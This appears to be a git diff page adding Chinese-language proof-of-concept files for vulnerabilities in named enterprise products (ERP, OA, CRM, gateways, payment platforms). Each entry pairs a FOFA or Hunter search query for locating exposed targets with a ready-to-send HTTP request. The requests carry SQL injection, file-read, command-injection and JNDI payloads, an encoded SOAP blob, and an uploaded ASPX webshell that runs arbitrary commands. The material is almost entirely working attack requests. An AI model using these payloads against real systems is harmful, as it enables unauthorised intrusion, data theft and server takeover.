User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
|
||||
Content-Type: text/xml; charset=utf-8
|
||||
SOAPAction: "http://tempuri.org/WriteLog"
|
||||
cmd: dir
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<WriteLog xmlns="http://tempuri.org/">
|
||||
<request>H4sIAGW+k2UA/+1ZXWwcV/W/M17vxzje2HGaNunXpklTpwnbdWznozRNHdtJtnFiJ+skLWm0md29tqeZndnOzLp2Higv9E/hpQiEEAKJJ1QkJCpUQYVoVQkJCf0pgkp9pOpDVfGA6BMCUdH097szs147zlcV89cfenfn7Nxzv84599xzzj0rNCHEFRT+sqzTAU6WFv1A1vNjZmDuzp2Vnm+5zsE9+QI/u3OjTTtoevKgI5uBZ9q7c1PNim1Vj8vFafeSdA5W9u0zh6vDewcODA7Jwv4DnZy8r21OBUoyMIDfFL3nT8u6G1jO7BHXq5tBX4yOfk+addkb41jxG2ZVZmPMlCdnrIU74uqo6cuSdHwrsOblhhg74VZNW06MFse2xKhxZ8b1qnLUdXywYjmBv9S0EEinJmtTntuQXmBJf2PcNG1WbOnnR92mE/QsR5YLCU0jv7pI3d/Ockl6lmlbl80Asgx5pKi1tJbW+dL5L+zCjUZw4tS8aTdluSzSajyeZII7lyFUIIQGmzKdAOsJPn6ANK3c7gRfXohWHXVtW1a5mp8/Kh0sX81PWH5wceD8+ajLZOVZ9Nidq/tV17Otym3QjgsXOshD2cL8fmfZty7LdHk+nBWEp9MZ8pmKnh5W0uSMo0KeyV4mScAeGdWaoQTWUcHMiPRzrndpxnafB5v1hutIJzjh1iToizkYvFkOBgcqM4P7h/eatcG9Q3JwuJOkPHv9ZZbvZn4EYp63gsVS0/PcWTOAtlL0rrcrlHALH9ej0bJ2Ws5QBIlgsSG76rJekR61xe/ojJXnjMOJ25c75to16VEYmS6CdVQcik7JsJsgSxQFqVDrCXqIolgVqpdgA1EUskL1EWxUShyj7iDYRPq4AfesoljHTH8u4FHhNMaEa9aOmGQ8FW1DmnIzPen1sOcoZIcDOG+B/jQRJcgggZ3wk2d5DHys2yE6O7vSq61VjOfavlrjVfP/5dT+Q5StYSgp3UlwF3lh9UbSJfsJ7kRG9ZjG9qwb8X1skL1Ie6VBSsnN6PQPLZppwnKegwFq1qVHeew6Nye9SA946ooB8BDMxT2t03d4MZDnL9ze07c7nhyKFckmH9N9m885NS65pc2/jLqebD9/w59t5h7qszr6d3P3Mvfw9V7aCeqlMNJpWjmNes6dTN53vV14LNyBE6azGO/A47VyeWCobR/WXFStTaEarcEuZLgLPTzzFAgE9Al8QigmQxlWI7MVsDuh0RIoocF9iI9uQnWXsKso8O1npyWpNfFMS7KiMVQqplxr5sFQbO3qRQOpJLUDYGfsDWQlf6bIH4QYgefafn7KnJU1FTS4TYQe6lA8BHBiachnob0wODM8s29mYKA2XDAHzR6aakUwjXpIaTpNFwBqo69CarTiiu6dbXSvcF5j0rdmnehHeqCuouh+GKAYDrkN8u6hLyG53Xpml6JX+RSSqdGxKCq/ADAUn0PEX1ZdtkLH/Oic6TgSQh6ZnfUk/eeYpc6p6S0qgvMAx2+jivTQ16lAi46yhy6DHiQMRFS8QgdCVHKAzB2Ttu0m97CuXvckaLJuIQBbCxdwnQAMLeuXrXz+AgKywYhpPgla2wfiuBUmIIxmrvKPKm6L21N1Gcy5tUJHR+HGI3fFbeM4QYuPXG2DT6goqIhQfpXRmSFuxTAppUv4emzCri3rXZEJg+laW7FTIxM21uy0cNFYSEUyT1UR/OHoQfap/2vNSKd12gxVDI0+QTnXvQT7qAE0hAq1n+AAUTy66uA+SvBF2iGlMEpbWNMzj6koy0hwb25ZA3isVPibNiPnmwxMb1YGG8IfOpnYLWeXUAzCjFDv+NoNu7Y0p6bpuLbdujYmD4KYd2OdOtJ0qv854ZpyfEaGJjP5BMCWa6+cHOGeMJg3Ejxqt3pIaTwT3JVlIXNm1MYOq7cS/I5J+o1wHm5oT3QQRrxZnFdc3bGDmuhId7cFG+cvZEiaYiJDJpJjAA9dm5McmegPd24nPY+hUdmpqMlxgN/pq+/1vy8kXM0UFJeirjaLsAbB49qpWLg7RXqJo+GB9Q2NJob6lCG+rdsEwF3LtjkXD+qPdo32SO3aCYDfXOOE/n+LR9uP5BSji2gxlU6gw0qeAjY76kkYqCJyWqZTlYZGs6zEyNZQjBydnG6L+EJ6c8uH9rfJKZIrjboKxM4A7LhuuAhs3XRqxTEVRjNW7KE3UAHSuTAqzSG+oDMQiK/1E196WTkOdr9yRYjXI8fDLb9R+Qr5vv+XWfFa5u2tr2sTb2+dnrP8XANZFM+s56qIC90gV5E5r+nkLCc3NlnK1UFsvrvb2B7NMYUDPqF1iFNvfkvG874v9K1dzG+Qe5oplPcY4YPykDAAvoMrlXuL6G8RRW6VQ3ziq4pLXiRav60fVV7GvMejKV+Jxi0rF5GfvQlZXFVAn4r1o5JG/VhbPR/IhQC/H5A/8sLOK9YH+mLe870q3hVt5F3dhZb3A/qJvCdtFx0VraBZzcXL5vJ+h1eS+RblikLadFwECog3LuI+ECcrb7XcXegQvw7D1F69H5pl9INiw0i6mNRwwS1eEU0YLhg2fGSsjK6UC4YMD0MaLtQcHcCF4SJ3YHi44TVc8GGsi3ohndNI9+OKbLjYRyPE3umiX+sd17DofZOLmxbecckxdqRcXGgMF7cHozukIePi8mC817HjPRERhZtDTB8WMh4WmlKWB8T//Fh0gAztcOnJw0grhXl7PPO0LMOFfXtoNiE/G/BXaN72ZSH6sQdMOG8rBR5uSsibCfF9SIO6v+1MSbyFd06/7eiZIl3kH1B/mfXDtluJ5Inh2tGNumBqT/xTGxQgn6tza+NcNDNc8TsfnmcqSUhlUuwE/UlxVuwFnAc0xCviB4BvKfhnwKy4G0nxrNgGaIhJjZgXtVlkIn+qcex2fYueFGMKWjrTErGGhLLoEbyFdaraFLVZvHhXQVHQKwqYazOgAR4It4rXEL1uFe/g2Sn+pDB/EzvEgNCx9gHV54AYQkg7Ig5rBbSe14ZFUXwPZvCU+JF2SDwtfq6NofUNtI6I/9WeBPxQQaE/ibEb9UnAAb0kLDGpP4WZn9YLgGXE1QNCAuZhTiVgn3DEMyJBm7GsfHvFYdSUjJfj+iC3lTgNko7KYzDLTVs+Li7X5iqX/D2FfM22xbiIfZMIzbgIfYDIMx8b4Vp3bJp4y5Yeord5q4rEa4hQQdxpaZsL6s0fCaBflWYgRTRQpWADq2LZyIoutcaUxMsg6yGOBUGDaRJaIwTt5dHwHqTwXFZ6ZwI1jWoNMWLUlqY3jmy5p/qdxh9DIEOqLq2K6hQvNWaZs47rB1bVF8j9gpfWbwnXhYAxarhCq+ajdgTcMxaNlnkOyeeQzPh9lfis1JDVKG8vOFblrJc6qOHHpIkI2FfvSJnVRXhCIV+nagZq6VaEq2qnZc3y+J8AXHTN9GqTzaDRDDuubArlwpYz+ENsDhmH8QVZpfwVbzHJxUkuKs36aUVLzHz77NPYlKiVP9PuuFMT5zzkDMQRu+nPCdbHF6qyoRiDW6+KuqhBr6VYwCNSYV2kHhFV5WSE+NnbH3wnd/zNYy/1f/eblz7sq4n0Ly4/c3bz0PsvdeTw/0RO09LpVw+VX+h913gU5mhDbyInNtxBsJlgK3tk+fYgwU5Us9lOoWezQOJCh0l0NgzgJZtOJTb0brg3m2XiS61+Hw3EtL7pnGc2TrpOi/bpOc993qcleT3yRyy/j33+KiX2W0KUkdEes+0T+CcxPFxSqqPGcuVBkbuZSObzEtsv+iM4wRUWMbTyhVXwcezwFMQ80WYKJ3ReBM6KkigDjovTeCuKSXES9SLgEbyzvJH46JPVoo1DbXHdyrCMvlLDrKbwMI8FnysxpyNmhKvat6tR02g1gfXRbooA/VzUwvJq4idYUgNNAXpZwM+uMtPXVJ9C6zMkKpSB2K3+1I37j+Hxcb44T2PZOlTdAjR/qe9ZPLANbX0KOK1LD9yG6EZ/0hCovg5otyEvEyeZAfJlnOc50HEJs+xRo2poD7W9X9E1gX6zatQoVmmIRUXZLEYx3iRNY2qNyQhP7tk7ppG1G681pPiawhwusE3wH1zF3Ure9qsxI+jho2cdM9ugLnfDcZ+XNSxQCMax7zPj8nn5rysJJgW6opjkaNOqMc+gl029XNHLVb1c08tSL8/o5Vm9PKeXLb38rF6+1H6xTaX0qPT1vRP89eE/9n7jY/HD367f8feurk8BzkdZX+skAAA=</request>
|
||||
</WriteLog>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# 易思智能物流无人值守系统DownFile任意文件读取漏洞
|
||||
|
||||
易思智能物流无人值守系统DownFile任意文件读取漏洞
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/api/SingleLogin"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /PublicInfoManage/Upload/DownFile?filePath=web.config HTTP/1.0
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
## 易思智能物流无人值守系统ExportReport存在SQL注入漏洞
|
||||
|
||||
易思智能物流无人值守系统ExportReport存在SQL注入漏洞
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/api/SingleLogin"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /Sys_ReportFile/ExportReport HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
rep_Ids=1%27%29+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C@@VERSION%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+CdNX
|
||||
```
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
## 易思智能物流无人值守系统login存在SQL注入漏洞
|
||||
|
||||
易思智能物流无人值守系统login存在SQL注入漏洞.md
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/api/SingleLogin"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /api/PhoneLogin/login HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip
|
||||
|
||||
Account=1'%20and%20sys.fn_sqlvarbasetostr(HashBytes('MD5','123'))=1--&Espassword=g5edid4OCFI32C5NPEZeXg%3D%3D
|
||||
```
|
||||
|
||||
```javascript
|
||||
OST /api/SingleLogin/login HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Content-Type: application/x-www-form-urlencoded; charset=utf-8
|
||||
Priority: u=0
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Accept-Encoding: gzip, deflate
|
||||
|
||||
LoginUserType=0&DeviceType=2&Account=1'%20and%20sys.fn_sqlvarbasetostr(HashBytes('MD5','123'))=1--&BrowserType=Firefox&Verifycode=&IMEI=&isverify=false&SetOfBooks=Default&Espassword=1wD%2Bj6eIbahZGOatg1Spiw%3D%3D
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# 泛微E-Cology9平台QRcodeBuildAction存在身份认证绕过导致SQL注入漏洞
|
||||
|
||||
由于泛微E-Cology9 weaver.formmode.servelt.QRcodeBuildAction接口未对用户传入的数据进行严格的校验和过滤，导致攻击者利用多层编码的方式绕过身份认证进行SQL注入。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
app="泛微-OA（e-cology）"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
注入点为modeid并且每注入一次就需要更换参数值
|
||||
|
||||
```javascript
|
||||
POST /weaver/weaver.formmode.servelt.QRcodeBuildAction/login/LoginSSO.%25%36%61%25%37%33%25%37%30 HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
modeid=127+WAITFOR+DELAY+'0%3a0%3a5'
|
||||
```
|
||||
|
||||
sqlmap利用方式：https://blog.csdn.net/qq_41904294/article/details/131666128
|
||||
@@ -0,0 +1,23 @@
|
||||
# HANDLINK-ISS-7000v2网关login_handler.cgi未授权RCE漏洞
|
||||
|
||||
瀚霖科技股份有限公司ISS-7000 v2网络网关服务器 /login_handler.cgi接口存在远程命令执行漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意系统命令，写入后门文件，获取服务器权限。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
icon_hash="-842942564"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /login_handler.cgi HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
username=admin&password=admin|id&uilng=3&button=%E7%99%BB%E5%85%A5&Signin=
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
## 电信网关配置管理后台upload_channels.php接口存在文件上传漏洞
|
||||
|
||||
电信网关配置管理系统/bak_manager/upload_channels.php 接口存在文件上传漏洞,未经身份验证的远程攻击者可以利用文件上传漏洞获取系统权限。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="a:link{text-decoration:none;color:orange;}"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```jinja2
|
||||
POST /bak_manager/upload_channels.php HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
|
||||
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Accept-Encoding: gzip
|
||||
|
||||
------WebKitFormBoundaryssh7UfnPpGU7BXfK
|
||||
Content-Disposition: form-data; name="file"; filename="rce.php"
|
||||
Content-Type: text/plain
|
||||
|
||||
<?php system("uname -a");unlink(__FILE__);?>
|
||||
------WebKitFormBoundaryssh7UfnPpGU7BXfK--
|
||||
```
|
||||
|
||||
|
||||
|
||||
文件路径：`/bak_manager/rce.php`
|
||||
@@ -0,0 +1,29 @@
|
||||
# 美特CRM系统接口sync_emp_weixin存在反序列化漏洞
|
||||
|
||||
美特CRM sync_emp_weixin存在反序列化漏洞，可被恶意攻击者利用执行任意命令，进而控制服务器系统。
|
||||
|
||||
## fofa
|
||||
|
||||
```
|
||||
body="/common/scripts/basic.js"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /weixin/admin/sync_emp_weixin.jsp?emp_json=[{%22@type%22:%22[com.sun.rowset.JdbcRowSetImpl%22[{,%22dataSourceName%22:%22ldap://vps%22,%22autoCommit%22:true}] HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Connection:close
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞来源
|
||||
|
||||
- https://mp.weixin.qq.com/s/5t_w0ddXQslco6r0f9Rxgg
|
||||
@@ -0,0 +1,23 @@
|
||||
# 聚合支付平台接口sdcustomno存在SQL注入漏洞
|
||||
|
||||
聚合支付平台接口sdcustomno存在SQL注入漏洞
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
"/Public/theme/view4/css/style.css"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /pay_UPALIWAP_callbackurl?sdcustomno=*%27)%20AND%20(SELECT%202655%20FROM%20(SELECT(SLEEP(5)))DNPm)%20AND%20(%27RWpf%27=%27RWpf HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate, br, zstd
|
||||
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
|
||||
Cache-Control: max-age=0
|
||||
Connection: keep-alive
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# 蓝凌OA-EKP系统接口hrStaffWebService存在任意文件读取漏洞
|
||||
蓝凌核心产品EKP平台定位为新一代数字化生态OA平台，数字化向纵深发展，正加速构建产业互联网，对企业协作能力提出更高要求，蓝凌新一代生态型OA平台能够支撑办公数字化、管理智能化、应用平台化、组织生态化，赋能大中型组织更高效的内外协作与管理，支撑商业模式创新与转型发展。深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用该漏洞获取服务器敏感信息。
|
||||
|
||||
# hunter
|
||||
```javascript
|
||||
app.name="Landray 蓝凌OA"
|
||||
```
|
||||
|
||||
|
||||
|
||||
## poc
|
||||
```java
|
||||
POST /sys/webservice/hrStaffWebService HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
|
||||
Content-Length: 563
|
||||
Accept: */*
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
Cache-Control: max-age=0
|
||||
Connection: close
|
||||
Content-Type: multipart/related; boundary=----frhpvivnctknnkiwugaq
|
||||
SOAPAction: ""
|
||||
|
||||
------frhpvivnctknnkiwugaq
|
||||
Content-Disposition: form-data; name="1"
|
||||
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.staff.hr.kmss.landray.com/">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<web:getHrStaffElements>
|
||||
<arg0>
|
||||
<beginTimeStamp>1</beginTimeStamp>
|
||||
<count><xop:Include
|
||||
xmlns:xop="http://www.w3.org/2004/08/xop/include"
|
||||
href="file:///"/></count>
|
||||
</arg0>
|
||||
</web:getHrStaffElements>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
------frhpvivnctknnkiwugaq--
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
# 金蝶EAS存在appUtil.jsp命令执行漏洞
|
||||
|
||||
金蝶EAS和金蝶EAS Cloud在多个版本中存在文件上传漏洞，未经授权的攻击者可以通过特制的请求包或上传恶意的webshell文件，从而进行远程代码执行，控制服务器。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
app="Kingdee-EAS"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
GET /easportal/tools/appUtil.jsp?list=%7B%22x%22%3A%7B%22%40type%22%3A%22java.net.Inet4Address%22%2C%22val%22%3A%22csbs1ru8ki46d67eiob0ywz51btedcjtj.oast.me%22%7D%7D HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
|
||||
Connection: close
|
||||
Accept-Encoding: gzip, deflate
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞来源
|
||||
|
||||
- https://mp.weixin.qq.com/s/g7XvKIKPQf35z4IPt5i8iA
|
||||
@@ -0,0 +1,33 @@
|
||||
# 顺景ERP管理系统FileUpload存在任意文件上传漏洞
|
||||
|
||||
顺景ERP管理系统FileUpload存在任意文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/api/DBRecord/getDBRecords"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /api/FileUpload/Upload HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7yyQ5XLHOn6WZ6MT
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT
|
||||
Content-Disposition: form-data; name="file"; filename="1.aspx"
|
||||
Content-Type: image/png
|
||||
|
||||
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
|
||||
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT--
|
||||
```
|
||||
|
||||
|
||||
|
||||
文件路径`/UpFiles/GUID值.aspx?cmd=whoami`
|
||||
@@ -0,0 +1,31 @@
|
||||
# 顺景ERP管理系统UploadInvtSpBuzPlanFile存在任意文件上传漏洞
|
||||
|
||||
顺景ERP管理系统UploadInvtSpBuzPlanFile存在任意文件上传漏洞，允许攻击者上传恶意文件到服务器，可能导致远程代码执行、网站篡改或其他形式的攻击，严重威胁系统和数据安全。
|
||||
|
||||
## fofa
|
||||
|
||||
```javascript
|
||||
body="/api/DBRecord/getDBRecords"
|
||||
```
|
||||
|
||||
## poc
|
||||
|
||||
```javascript
|
||||
POST /api/cgInvtSp/UploadInvtSpBuzPlanFile HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7yyQ5XLHOn6WZ6MT
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
|
||||
Connection: close
|
||||
|
||||
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT
|
||||
Content-Disposition: form-data; name="file"; filename="1.aspx"
|
||||
Content-Type: image/png
|
||||
|
||||
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
|
||||
------WebKitFormBoundary7yyQ5XLHOn6WZ6MT--
|
||||
```
|
||||
|
||||
|
||||
Reference in new issue
Block a user